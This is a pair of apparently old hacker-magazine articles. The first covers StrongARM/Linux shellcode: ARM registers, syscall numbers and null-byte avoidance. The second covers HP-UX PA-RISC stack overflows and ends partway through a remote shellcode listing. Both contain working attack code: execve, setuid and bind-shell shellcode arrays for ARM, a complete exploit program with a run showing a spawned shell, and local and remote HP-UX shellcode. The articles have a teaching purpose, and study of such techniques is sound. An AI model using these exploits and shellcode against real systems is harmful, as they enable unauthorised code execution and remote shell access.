StrongARM is a result of ARM Ltd and Digital work on design that use the instruction set of the ARM processors, but which is built with the chip technology of the Alpha series. Digital sold off its chip manufacturing to Intel Corporation. Intel's StrongARM (including SA‑110 and SA‑1110) implements the ARM v4 architecture defined in [1].

‑‑‑[ ARM architecture

The ARM is a 32‑bit microprocessor designed in RISC architecture, that means it has reduced instruction set in opposite to typical CISC like x86 or m68k. Advantages of reduced instruction set includes possibility of optimising speed using for example pipelining or hard‑wired logic. Also instructions and addressing modes can made identical for most instructions. ARM is a load/store architecture where data‑processing operations only operate on register contents, not directly on memory contents. It is also supporting additional features like Load and Store Multiple instructions and conditional execution of all instructions. Obviously every instruction has the same length of 32 bits.

‑‑‑[ ARM registers

ARM has 16 visible 32 bit registers: r0 to r14 and r15 (pc). To simplify the thing we can say there is 13 'general‑purpose' registers ‑ r0 to r12 (registers from r0 to r7 are unbanked registers which means they refers to the same 32‑bit physical register in all processor modes, they have no special use and can be used freely wherever an general‑purpose register is allowed in instruction) and three registers reserved for 'special' purposes (in fact all 15 registers are general‑purpose):

r13 (sp) ‑ stack pointer

r14 (lr) ‑ link register

r15 (pc/psr) ‑ program counter/status register

Register r13 also known as 'sp' is used as stack pointer and both with link register are used to implement functions or subroutines in ARM assembly language. The link register ‑ r14 also known as 'lr' is used to hold subroutine return address. When a subroutine call is performed by eg. bl instruction r14 is set to return address of subroutine. Then subroutine return is performed by copying r14 back into program counter.

Stack on the ARM grows to the lower memory addresses and stack pointer points to the last item written to it, it is called "full descending stack". For example result of placing 0x41 and then 0x42 on the stack looks that way:

memory address stack value

+‑‑‑‑‑‑‑‑‑‑‑‑+

0xbffffdfc: | 0x00000041 |

+‑‑‑‑‑‑‑‑‑‑‑‑+

sp ‑> 0xbffffdf8: | 0x00000042 |

+‑‑‑‑‑‑‑‑‑‑‑‑+

‑‑‑[ Instruction set

As written above ARM like most others RISC CPUs has fixed‑length (in this case 32 bits wide) instructions. It was also mentioned that all instructions can be conditional, so in bit representation top 4 bits (31‑28) are used to specify condition under which the instruction is executed.

Instruction interesting for us can be devided into four classes:

‑ branch instructions,

‑ load and store instructions,

‑ data‑processing instructions,

‑ exception‑generating instructions,

Status register transfer and coprocessor instructions are ommitted here.

1. Branch instructions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are two branch instructions:

branch: b <24 bit signed offset>

branch with link: bl <24 bit signed offset>

Executing 'branch with link' ‑ as mentioned in previous section, results with setting 'lr' with address of next instruction.

2. Data‑processing instructions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Data‑processing instructions in general uses 3‑address format:

<opcode mnemonic> <destination> <operand 1> <operand 2>

Destination is always register, operand 1 also must be one of r0 to r15 registers, and operand 2 can be register, shifted register or immediate value.

Some examples:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑

addition: add | add r1,r1,#65 | set r1 = r1 + 65 | substraction: sub | sub r1,r1,#65 | set r1 = r1 ‑ 65 | logical AND: and | and r0,r1,r2 | set r0 = r1 AND r2 | logical exclusive OR: eor | eor r0,r1,#65 | set r0 = r1 XOR r2 | logical OR: orr | orr r0,r1,r2 | set r0 = r1 OR r2 | move: mov | mov r2,r0 | set r2 = r0 |

3. Load and store instructions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

load register from memory: ldr rX, <address>

Example: ldr r0, [r1] load r0 with 32 bit word from address specified in r1, there is also ldrb instruction responsible for loading 8 bits, and analogical instructions for storing registers in memory:

store register in memory: str rX, <address> (store 32 bits) strb rX, <address> (store 8 bits)

ARM support also storing/loading of multiple registers, it is quite interesting feature from optimization point of view, here go stm (store multiple registers in memory):

stm <base register><stack type>(!),{register list}

Base register can by any register, but typically stack pointer is used. For example: stmfd sp!, {r0‑r3, r6} store registers r0, r1, r2, r3 and r6 on the stack (in full descending mode ‑ notice additional mnemonic "fd" after stm) stack pointer will points to the place where r0 register is stored.

Analogical instruction to load of multiple registers from memory is: ldm

4. Exception‑generating instructions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Software interrupt: swi <number> is only interesting for us, it perform software interrupt exception, it is used as system call.

List of instructions presented in this section is not complete, a full set can be obtained from [1].

‑‑‑[ Syscalls

On Linux with StrongARM processor, syscall base is moved to 0x900000, this is not good information for shellcode writers, since we have to deal with instruction opcode containing zero byte.

Example "exit" syscall looks that way:

swi 0x900001 [ 0xef900001 ]

Here goes a quick list of syscalls which can be usable when writing shellcodes (return value of the syscall is usually stored in r0):

execve:

‑‑‑‑‑‑‑

r0 = const char *filename

r1 = char *const argv[]

r2 = char *const envp[]

call number = 0x90000b

setuid:

‑‑‑‑‑‑‑

r0 = uid_t uid

call number = 0x900017

dup2:

‑‑‑‑‑

r0 = int oldfd

r1 = int newfd

call number = 0x90003f

socket:

‑‑‑‑‑‑‑

r0 = 1 (SYS_SOCKET)

r1 = ptr to int domain, int type, int protocol call number = 0x900066 (socketcall)

bind:

‑‑‑‑‑

r0 = 2 (SYS_BIND)

r1 = ptr to int sockfd, struct sockaddr *my_addr, socklen_t addrlen

call number = 0x900066 (socketcall)

listen:

‑‑‑‑‑‑‑

r0 = 4 (SYS_LISTEN)

r1 = ptr to int s, int backlog

call number = 0x900066 (socketcall)

accept:

‑‑‑‑‑‑‑

r0 = 5 (SYS_ACCEPT)

r1 = ptr int s, struct sockaddr *addr, socklen_t *addrlen

call number = 0x900066 (socketcall)

‑‑‑[ Common operations

Loading high values

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Because all instructions on the ARM occupies 32 bit word including place for opcode, condition and register numbers, there is no way for loading immediate high value into register in one instruction. This problem can be solved by feature called 'shifting'. ARM assembler use six additional mnemonics reponsible for the six different shift types:

lsl ‑ logical shift left

asl ‑ arithmetic shift left

lsr ‑ logical shift right

asr ‑ arithmetic shift right

ror ‑ rotate right

rrx ‑ rotate right with extend

Shifters can be used with the data processing instructions, or with ldr and str instruction. For example, to load r0 with 0x900000 we perform following operations:

mov r0, #144 ; 0x90

mov r0, r0, lsl #16 ; 0x90 << 16 = 0x900000

Position independence

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Obtaining own code postition is quite easy since pc is general‑purpose register and can be either readed at any moment or loaded with 32 bit value to perform jump into any address in memory.

For example, after executing:

sub r0, pc, #4

address of next instruction will be stored in register r0.

Another method is executing branch with link instruction:

bl sss

swi 0x900001

sss: mov r0, lr

Now r0 points to "swi 0x900001".

Loops

‑‑‑‑‑

Let's say we want to construct loop to execute some instruction three times. Typical loop will be constructed this way:

mov r0, #3 <‑ loop counter

loop: ...

sub r0, r0, #1 <‑ fd = fd ‑1

cmp r0, #0 <‑ check if r0 == 0 already bne loop <‑ goto loop if no (if Z flag != 1)

This loop can be optimised using subs instruction which will set Z flag for us when r0 reach 0, so we can eliminate a cmp.

mov r0, #3

loop: ...

subs r0, r0, #1

bne loop

Nop instruction

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On ARM "mov r0, r0" is used as nop, however it contain nulls so any other "neutral" instruction have to be used when writting proof of concept codes for vulnerabilities, "mov r1, r1" is just an example.

mov r1, r1 [ 0xe1a01001 ]

‑‑‑[ Null avoiding

Almost any instruction which use r0 register generates 'zero' on ARM, this can be usually solved by replacing it with other instruction or using self‑modifing code.

For example:

e3a00041 mov r0, #65 can be raplaced with:

e0411001 sub r1, r1, r1

e2812041 add r2, r1, #65 e1a00112 mov r0, r2, lsl r1 (r0 = r2 << 0)

Syscall can be patched in following way:

e28f1004 add r1, pc, #4 <‑ get address of swi e0422002 sub r2, r2, r2

e5c12001 strb r2, [r1, #1] <‑ patch 0xff with 0x00 ef90ff0b swi 0x90ff0b <‑ crippled syscall

Store/Load multiple also generates 'zero', even if r0 register is not used:

e92d001e stmfd sp!, {r1, r2, r3, r4}

In example codes presented in next section I used storing with link register:

e04ee00e sub lr, lr, lr

e92d401e stmfd sp!, {r1, r2, r3, r4, lr}

‑‑‑[ Example codes

/*

* 47 byte StrongARM/Linux execve() shellcode

* funkysh

*/

char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */

"\x1c\x30\x8f\xe2" /* add r3, pc, #28 (0x1c) */

"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */

"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */

"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */

"\x07\x20\xc3\xe5" /* strb r2, [r3, #7 */

"\x04\x30\x8f\xe2" /* add r3, pc, #4 */

"\x04\x10\x8d\xe2" /* add r1, sp, #4 */

"\x01\x20\xc3\xe5" /* strb r2, [r3, #1] */

"\x0b\x0b\x90\xef" /* swi 0x90ff0b */

"/bin/sh";

/*

* 20 byte StrongARM/Linux setuid() shellcode

* funkysh

*/

char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */

"\x04\x10\x8f\xe2" /* add r1, pc, #4 */

"\x12\x02\xa0\xe1" /* mov r0, r2, lsl r2 */

"\x01\x20\xc1\xe5" /* strb r2, [r1, #1] */

"\x17\x0b\x90\xef"; /* swi 0x90ff17 */

/*

* 203 byte StrongARM/Linux bind() portshell shellcode

* funkysh

*/

char shellcode[]= "\x20\x60\x8f\xe2" /* add r6, pc, #32 */

"\x07\x70\x47\xe0" /* sub r7, r7, r7 */

"\x01\x70\xc6\xe5" /* strb r7, [r6, #1] */

"\x01\x30\x87\xe2" /* add r3, r7, #1 */

"\x13\x07\xa0\xe1" /* mov r0, r3, lsl r7 */

"\x01\x20\x83\xe2" /* add r2, r3, #1 */

"\x07\x40\xa0\xe1" /* mov r4, r7 */

"\x0e\xe0\x4e\xe0" /* sub lr, lr, lr */

"\x1c\x40\x2d\xe9" /* stmfd sp!, {r2‑r4, lr} */

"\x0d\x10\xa0\xe1" /* mov r1, sp */

"\x66\xff\x90\xef" /* swi 0x90ff66 (socket) */

"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */

"\x35\x70\xc6\xe5" /* strb r7, [r6, #53] */

"\x14\x20\xa0\xe3" /* mov r2, #20 */

"\x82\x28\xa9\xe1" /* mov r2, r2, lsl #17 */

"\x02\x20\x82\xe2" /* add r2, r2, #2 */

"\x14\x40\x2d\xe9" /* stmfd sp!, {r2,r4, lr} */

"\x10\x30\xa0\xe3" /* mov r3, #16 */

"\x0d\x20\xa0\xe1" /* mov r2, sp */

"\x0d\x40\x2d\xe9" /* stmfd sp!, {r0, r2, r3, lr} */

"\x02\x20\xa0\xe3" /* mov r2, #2 */

"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */

"\x0d\x10\xa0\xe1" /* mov r1, sp */

"\x66\xff\x90\xef" /* swi 0x90ff66 (bind) */

"\x45\x70\xc6\xe5" /* strb r7, [r6, #69] */

"\x02\x20\x82\xe2" /* add r2, r2, #2 */

"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */

"\x66\xff\x90\xef" /* swi 0x90ff66 (listen) */

"\x5d\x70\xc6\xe5" /* strb r7, [r6, #93] */

"\x01\x20\x82\xe2" /* add r2, r2, #1 */

"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */

"\x04\x70\x8d\xe5" /* str r7, [sp, #4] */

"\x08\x70\x8d\xe5" /* str r7, [sp, #8] */

"\x66\xff\x90\xef" /* swi 0x90ff66 (accept) */

"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */

"\x02\x10\xa0\xe3" /* mov r1, #2 */

"\x71\x70\xc6\xe5" /* strb r7, [r6, #113] */

"\x15\x07\xa0\xe1" /* mov r0, r5, lsl r7 <dup2> */

"\x3f\xff\x90\xef" /* swi 0x90ff3f (dup2) */

"\x01\x10\x51\xe2" /* subs r1, r1, #1 */

"\xfb\xff\xff\x5a" /* bpl <dup2> */

"\x99\x70\xc6\xe5" /* strb r7, [r6, #153] */

"\x14\x30\x8f\xe2" /* add r3, pc, #20 */

"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */

"\x04\x10\x8d\xe2" /* add r1, sp, #4 */

"\x02\x20\x42\xe0" /* sub r2, r2, r2 */

"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */

"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */

"\x0b\xff\x90\xef" /* swi 0x900ff0b (execve) */

"/bin/sh";

‑‑‑[ References:

[1] ARM Architecture Reference Manual ‑ Issue D,

2000 Advanced RISC Machines LTD

[2] Intel StrongARM SA‑1110 Microprocessor Developer's Manual, 2001 Intel Corporation

[3] Using the ARM Assembler,

1988 Advanced RISC Machines LTD

[4] ARM8 Data Sheet,

1996 Advanced RISC Machines LTD

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HP-UX (PA-RISC 1.1) Overflows

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x0b of 0x0e

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ HP‑UX (PA‑RISC 1.1) Overflows ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Zhodiac <zhodiac@softhome.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Introduction.

Damn it, another buffer overflow document!! Well, this paper is not intended to explain buffer overflow exploitations, neither is intended to explain asm coding. This paper focuses mainly in three topics:

HP‑UX/PA‑RISC registers and stack organization, a solution for abo2.c (located at community.core‑sdi.org/~gera/InsecureProgramming/) and finally two shellcodes for this OS/arch.

It covers basic topics to start exploiting buffer overflows under HP‑UX/PA‑RISC 1.1. This paper is divided into the following sections:

1. PA‑RISC Introduction

1.1. RISC fundamentals

1.2. Registers

1.3. Leaf and non‑leaf functions

2. Stack organization

3. Advance Buffer Overflow #2

4. Extras

4.1. Local Shellcode

4.2. Remote Shellcode

5. Resources

6. Greetings

‑‑[ 1. PA‑RISC Introduction

‑‑[ 1.1. RISC fundamentals

RISC (Reduced Instruction Set Computing) refers to procesors with a reduced instruction set, and with the ability to do the same tasks of a CISC processor (Complex Instruction Set Computing).

RISC processors have some common caracteristics:

‑ Load, store design for memory access

‑ Reduce number of addressing

‑ Instruction size is always the same (Speeds up)

‑ Few instructions format

‑ More use of registers rather than memory

Deep in PA‑RISC arch we have some more defined caracteristics:

‑ Immediate addressing, base relative without offset

‑ Predecrement in an instruction

‑ Postincrement in an instruction

‑ 12 instruction formats, all of them have 32 bits

‑‑[ 1.2. Registers

On PA‑RISC 1.1 there are four types of registers:

‑ General registers (32)

‑ Float point registers (32)

‑ Space registers (8)

‑ Control registers (25)

We will focus on the "General registers" which are the ones that get involved in shellcodes programming and buffer overflow exploiting. These registers can be used at any time even when cpu is not on privilege state, except %gr0 (%r0) as we will see.

Lets explain some uses of the general registers

‑ %gr0: Always contains the value 0 and if you write something on it, will be discarded

‑ %gr1: It is the implicit target register of the ADDIL instruction. When calling a shared library function it will store the return address of the so called "shared library stub" before calling the function

‑ %gr2 (%rp): In this register it is stored the return address when a function call is done with BL (Branch and Link)

‑ %gr3‑%gr21: General use registers

‑ %gr19: Is the linkage table base register when calling a shared library function

‑ %gr22: Stores the syscall number when you are going to call one of them

‑ %gr23‑gr26: Stores the functions arguments arg0‑arg3

‑ %gr28,gr29 (%ret0, %ret1): In %gr28 is stored the return value of a function or syscall. (An inmediat value or a reference address). Under certain circunstances the value is sotred in %gr29 ‑ %gr30: Here it is sotred the current Stack pointer. It has to be aligned to 16 bits

‑ %gr31: Under PA‑RISC 2.0 it contains the return address when a BLE instruction is executed

Some final notes:

‑ Under PA‑RISC 1.0 there are only 16 Floating‑Point registers and under PA‑RISC 1.1 and 2.0 there are 32

‑ Control registers are only accessible when the CPU is in privilege mode ‑ Under PA‑RISC 2.0 registers size is 64 bits

‑‑[ 1.3. Leaf and non‑leaf functions

There are mainly two classes of functions under HP‑UX (similar as SPARC):

‑ Leaf functions: They DO NOT call any further function.

Leaf funtions, since they do not call any further function never store %rp in memory because it will never be overwritting by a new function called.

Here is an example on code and its gdb disass dump of a leaf function.

HP9000:~/overflows/leaf$ cat leaf.c

int leaf(char *buff) {

int a=0;

a=1;

}

int main(int argc, char **argv) {

leaf(argv[1]);

}

HP9000:~/overflows/leaf$

You can see in the gdb disass dump it never saves %rp in stack.

(gdb) disass leaf

Dump of assembler code for function foo:

0x3280 <leaf>: copy r3,r1

0x3284 <leaf+4>: copy sp,r3

0x3288 <leaf+8>: stw,ma r1,40(sr0,sp)

0x328c <leaf+12>: stw r26,‑24(sr0,r3)

0x3290 <leaf+16>: stw r0,8(sr0,r3)

0x3294 <leaf+20>: ldi 1,r19

0x3298 <leaf+24>: stw r19,8(sr0,r3)

0x329c <leaf+28>: ldo 40(r3),sp

0x32a0 <leaf+32>: ldw,mb ‑40(sr0,sp),r3

0x32a4 <leaf+36>: bv,n r0(rp)

End of assembler dump.

(gdb)

‑ Non‑Leaf funtions: They DO call at least one function.

Non‑Leaf funtions, since they do not call any further function always stores %rp in stack (as we will see) because the function called is going to overwrite %rp with its wn return pointer.

Here is an example on code and its gdb disass dump of a leaf funtion.

HP9000:~/overflows/non‑leaf$ cat non‑leaf.c

int non_leaf(char *buff) {

int a=0;

a=1;

sleep(1);

}

int main(int argc, char **argv) {

non_leaf(argv[1]);

}

HP9000:~/overflows/non‑leaf$

You can see in the gdb disass dump it saves %rp in stack at

"stw rp,‑14(sr0,sp)".

(gdb) disass non_leaf

Dump of assembler code for function foo:

0x32b0 <non_leaf>: stw rp,‑14(sr0,sp)

0x32b4 <non_leaf+4>: copy r3,r1

0x32b8 <non_leaf+8>: copy sp,r3

0x32bc <non_leaf+12>: stw,ma r1,80(sr0,sp)

0x32c0 <non_leaf+16>: stw r26,‑24(sr0,r3)

0x32c4 <non_leaf+20>: stw r0,8(sr0,r3)

0x32c8 <non_leaf+24>: ldi 1,r19

0x32cc <non_leaf+28>: stw r19,8(sr0,r3)

0x32d0 <non_leaf+32>: ldi 1,r26

0x32d4 <non_leaf+36>: b,l 0x3298 <sleep>,rp

0x32d8 <non_leaf+40>: nop

0x32dc <non_leaf+44>: ldw ‑14(sr0,r3),rp

0x32e0 <non_leaf+48>: ldo 40(r3),sp

0x32e4 <non_leaf+52>: ldw,mb ‑40(sr0,sp),r3

0x32e8 <non_leaf+56>: bv,n r0(rp)

0x32ec <non_leaf+60>: break 0,0

End of assembler dump.

(gdb)

‑‑[ 2. Stack organization

The following stack organization is brought up under PA‑RISC 1.1 on a HP‑UX B10.20 and using the gcc compiler (though i will explain some few thing of native cc). I have not seen any documentation about this stuff, so it was based on gdb and my deduction ability.

PA‑RISC does not have instructions like "save", "restore" to save the registers values in a function prelude as SPARC does. all this stuff is implemented via software and changes between compilers.

We will focus on non‑leaf functions that are the ones that get involved on buffer overflows. All "non‑leaf" functions implements a prelude and a final of a funtion, for example in main():

0x3380 <main>: stw rp,‑14(sr0,sp) 0x3384 <main+4>: copy r3,r1

0x3388 <main+8>: copy sp,r3

0x338c <main+12>: stw,ma r1,40(sr0,sp) 0x3390 <main+16>: stw r26,‑24(sr0,r3) 0x3394 <main+20>: stw r25,‑28(sr0,r3)

...

0x33e0 <main+96>: ldw ‑14(sr0,r3),rp 0x33e4 <main+100>: ldo 40(r3),sp

0x33e8 <main+104>: ldw,mb ‑40(sr0,sp),r3 0x33ec <main+108>: bv,n r0(rp)

We are going to see step by step what is going on:

‑ 0x3380 <main>: stw rp,‑14(sr0,sp)

Store the return address (in %rp after the BL) in %sp‑0x14. Native C compiler stores it in %sp‑0x18.

‑ 0x3384 <main+4>: copy r3,r1

Make a copy of %r3 in %r1. This is because in %r3 will store the %sp of the previous function, as we will see.

‑ 0x3388 <main+8>: copy sp,r3

Copy %sp in %r3.

‑ 0x338c <main+12>: stw,ma r1,40(sr0,sp)

Stores %r1 (the sp of to back functions) in the stack and increments %sp in 0x40. This 0x40 is because it reserves space for its own local variables plus 64 bytes for the frame maker and the arguments of the following function. (Notice the frame maker is of the next function that is to be called, this is very important!).

‑ 0x3390 <main+16>: stw r26,‑24(sr0,r3)

Copies the first argument (%r26) of the function to stack (space reserved of the last function), at %r3 (last %sp) ‑ 0x24.

‑ 0x3394 <main+20>: stw r25,‑28(sr0,r3)

Copies the second argument (%r25) of the fucntion to stack (space reserved of the last function), at %r3 (last %sp) ‑ 0x28.

Like the last two instructions mechanism, the first four arguments will be stored (%r26‑%r23). In case there are more than four arguments before the jmp to the function is done they will be store in stack where they fit.

F.e. arg4 ‑‑‑> %r3 ‑ 52

arg5 ‑‑‑> %r3 ‑ 56

arg6 ‑‑‑> %r3 ‑ 60

...

So the stack organization will look like this:

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑sp \

|

|

|

|

|

| Space reserved

| for the Frame Maker

| and the arguments

| of the following

| function.

| Always 64 bytes.

|

|

|

|

|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| Space reserved for

... the local variables

| of the function

| 4 bytes (%r1)

| %r1 | /

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑r3 \

‑4 | |

‑8 | |

‑12 | | Frame Maker of the

‑16 | | current function

‑20 | %r2 (%rp) gcc | | ‑24 | %r2 (%rp) cc | |

‑28 | |

‑32 | | /

‑36 | arg1 = %r26 | \ ‑40 | arg2 = %r25 | | ‑44 | arg3 = %r24 | | Space reserved ‑48 | arg4 = %r23 | | for the arguments ‑52 | arg5 | | of the current

‑56 | ... | function

‑60 | |

‑64 | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

With this usefull information, if a buffer overflow happens in stack and we overflow a local variable of a function, we will overwrite the Frame Maker of the next function called. This "next function" used to be the function that makes the copy of the buffer, f.e. strcpy(), sprintf() etc.

This is why the following program could not be exploited because there is not a "next function" that copies the buffer, because we copy the buffer with a while.

void vulnerable_func(char *buffer) {

char buffer2[128];

int counter=0;

while(buffer[counter]!='\0') { buffer2[counter]=buffer[counter];

counter++;

}

printf("Buffer: %s\n",buffer);

}

int main(int argc, char **argv) {

vulnerable_func(argv[1]);

}

In the end part of each function we undo all the operations we have seen: read %rp from stack, restore %sp and %r3 and branches to %rp.

‑‑[ 3. Advanced Buffer Overflow #2

In the following web page:

http://community.core‑sdi.com/~gera/InsecureProgramming/

there are some programs vulnerable to many types of bugs such as buffer overflow, heap overflow, format string bugs, ...

We will focus in the Advance Buffer Overflow #2 (abo2.c) which gave many people headaches.

HP9000:~/overflows/sample$ cat abo2.c

/* abo2.c

* specially crafted to feed your brain by gera@core‑sdi.com */

/* This is a tricky example to make you think *

* and give you some help on the next one */

int main(int argv,char **argc) {

char buf[256];

strcpy(buf,argc[1]);

exit(1);

}

HP9000:~/overflows/sample$

Many people say that "its exploitation is not possible". I go further saying "its exploitation is not possible in x86 architectures", but in others like PA‑RISC it can be exploitable.

In x86 platforms, by supplying a buffer long enough, you will overwrite the return address of main(), but due to the uneludable exit() we will never have the control of the flow of the vulnerable program. Better said: "I have not been able to have control of it ;P"

We have to find a way to control the flow of our program before exit() is executed. Under HP‑UX10.20/PA‑RISC, because stack (%r30 or %sp) grows from lower address to higher address (against some other architectures do such as Linux x86) and also due to the stack organization explained in this document, we will not overwrite the return address of main() but we will overwrite the return address of strcpy(). So once the buffer is copied, and once strcpy branches to its own %rp, it will go to our shellcode having control of the flow of the program before exit() is executed.

All this is due to strcpy(), is implemented, under HP‑UX B.10.20 as a non‑leaf funtion (it will store its own return pointer in stack). Fyodor Yarochkin told me that strcpy() under HP‑UX 11.00 is implemented as a leaf funtion, so this particular overflow will not be exploitable on that version of HP‑UX.

I am not saying strcpy()'s overflows are not posible to exploit under HP‑UX 11.00. Take a look at this piece of code and find why it is still possible.

HP9000:~/overflows/hp11‑strcpy$ cat hp11‑strcpy.c

void foo(char *buff,char *dest) {

strcpy(dest,buff);

}

int main(int argc, char **argv) {

char buffer[128];

foo(argv[1],buffer);

}

HP9000:~/overflows/hp11‑strcpy$

Proof of concept:

HP9000:~/overflows/sample$ uname ‑a

HP‑UX HP9000 B.10.20 A 9000/712 2013496278 two‑user license HP9000:~/overflows/abo2$ cat abo2.c

/* abo2.c

* specially crafted to feed your brain by gera@core‑sdi.com */

/* This is a tricky example to make you think *

* and give you some help on the next one */

int main(int argv,char **argc) {

char buf[256];

strcpy(buf,argc[1]);

exit(1);

}

HP9000:~/overflows/abo2$

HP9000:~/overflows/abo2$ cat xploit.c

/*

* abo2.c xploit by Zhodiac <zhodiac@softhome.net>

*

* http://community.core‑sdi.com/~gera/InsecureProgramming/

*

* Xploited on HPUX

* 9/9/2001

*

* Madrid

*

*/

#include <stdio.h>

//#define NOP 0x3902800b

#define NOP 0x08630243

#define BUFFSIZE 256+48+1

#define NUMADDR 10

#define OFFSET ‑80

char shellcode[] = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe" "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe" "/bin/sh\xff";

long get_sp(void) {

__asm__("copy %sp,%ret0 \n");

}

int main(int argc, char *argv[]) {

char buffer[BUFFSIZE];

char *ch_ptr;

unsigned long addr,offset=OFFSET;

int aux;

if (argc==2) offset=atoi(argv[1]);

addr=get_sp()+offset;

memset(buffer,0,sizeof(buffer));

ch_ptr=(char *)buffer;

for (aux=0; aux<(BUFFSIZE‑strlen(shellcode)‑NUMADDR*4)/4; aux++) { *(ch_ptr++)=(NOP>>24)&255;

*(ch_ptr++)=(NOP>>16)&255;

*(ch_ptr++)=(NOP>>8)&255;

*(ch_ptr++)=NOP&255;

}

memcpy(ch_ptr,shellcode,strlen(shellcode)); ch_ptr+=strlen(shellcode);

for (aux=0; aux<NUMADDR; aux++) {

*(ch_ptr++)=(addr>>24)&255;

*(ch_ptr++)=(addr>>16)&255;

*(ch_ptr++)=(addr>>8)&255;

*(ch_ptr++)=addr&255;

}

buffer[BUFFSIZE‑1]='\0';

printf("Return Address %#x\n",addr);

printf("Buffer Size: %i\n",strlen(buffer));

if (execl("./abo2","abo2",buffer,NULL)==‑1) {

printf("Error at execl()\n");

exit(‑1);

}

}

HP9000:~/overflows/abo2$

HP9000:~/overflows/abo2$ gcc ‑o xploit xploit.c HP9000:~/overflows/abo2$ gcc ‑o abo2 abo2.c

HP9000:~/overflows/abo2$ ./xploit

Return Address 0x7b03a5b0

Buffer Size: 304

$ uname ‑a

HP‑UX HP9000 B.10.20 A 9000/712 2013496278 two‑user license

$ exit

HP9000:~/overflows/abo2$

‑‑[ 4. Extras

Here are two shellcodes for HP‑UX. First is a local one, it just executes a /bin/sh but notice its reduced size, only 47 bytes. Second one was, in its development time, the first remote shellcode I know about. It uses inetd to put a shell on a tcp port. There is a third shellcode which implements all syscalls socket(), bind(), dup2() but I lost it. Shit happens (Also fsck does also). :(

‑‑[ 4.1. Local Shellcode

Nowadays there are some HP‑UX shellcode (Fyodor's home some developed, lsd‑pl some more), but in its development time the only one public was the one of K2 of ADM. This shellcode is a bit optimized, because it is 13 bytes lower in size.

/*

* HP‑UX 47 bytes shellcode

*

* By Zhodiac <zhodiac@softhome.net>

*

* Madrid, 13/05/2001

*

*/

char shellcode[]=

"\xe8\x3f\x1f\xfd" /* bl salto,%r1 */

"\x0b\x39\x02\x99" /* salto: xor %r25,%r25,%r25 */

"\x34\x02\x04\xc0" /* ldi 0x260,%r2 */

"\x08\x41\x04\x03" /* sub %r1,%r2,%r3 */

"\x60\x79\x05\x08" /* stb %r25,0x284(%sr0,%r3) */

"\xb4\x7a\x04\xfa" /* addi 0x27D,%r3,%r26 */

"\x0b\x18\x02\x98" /* xor %r24,%r24,%r24 */

"\x20\x20\x08\x01" /* ldil L'0xC0000004,%r1 */

"\xe4\x20\xe0\x08" /* ble R'0xC0000004(%sr7,%r1) */

"\x94\x56\x05\x36" /* subi 0x29b,%r2,%r22 */

"/bin/sh";

‑‑[ 4.2. Remote Shellcode

/*

* HP‑UX remote shellcode

*

* By Zhodiac <zhodiac@softhome.net>

*

* Madrid, 14/05/2001

*

*/

char shellcode[]=

"\xe8\x3f\x1f\xfd" /* bl salto,%r1 */

"\x0b\x39\x02\x99" /* salto: xor %r25,%r25,%r25 */

"\x34\x02\x04\xc0" /* ldi 0x260,%r2 */

"\x08\x41\x04\x03" /* sub %r1,%r2,%r3 */

"\x60\x79\x05\x78" /* stb %r25,0x2BC(%sr0,%r3) */

"\x60\x79\x05\x7e" /* stb %r25,0x2BF(%sr0,%r3) */

"\x68\x79\x05\x62" /* stw %r25,0x2AE(%sr0,%r3) */

"\xb4\x7a\x05\x6A" /* addi 0x2B5,%r3,%r26 */

"\x0f\x5a\x12\x81" /* stw %r26,‑16(%sr0,%r26) */

"\x94\x44\x04\xd0" /* subi 0x268,%r2,%r4 */

"\x0b\x44\x06\x04" /* add %r4,%r26,%r4 */

"\x0f\x44\x12\x89" /* stw %r4,‑12(%sr0,%r26) */

"\x94\x44\x04\xd6" /* subi 0x26C,%r2,%r4 */

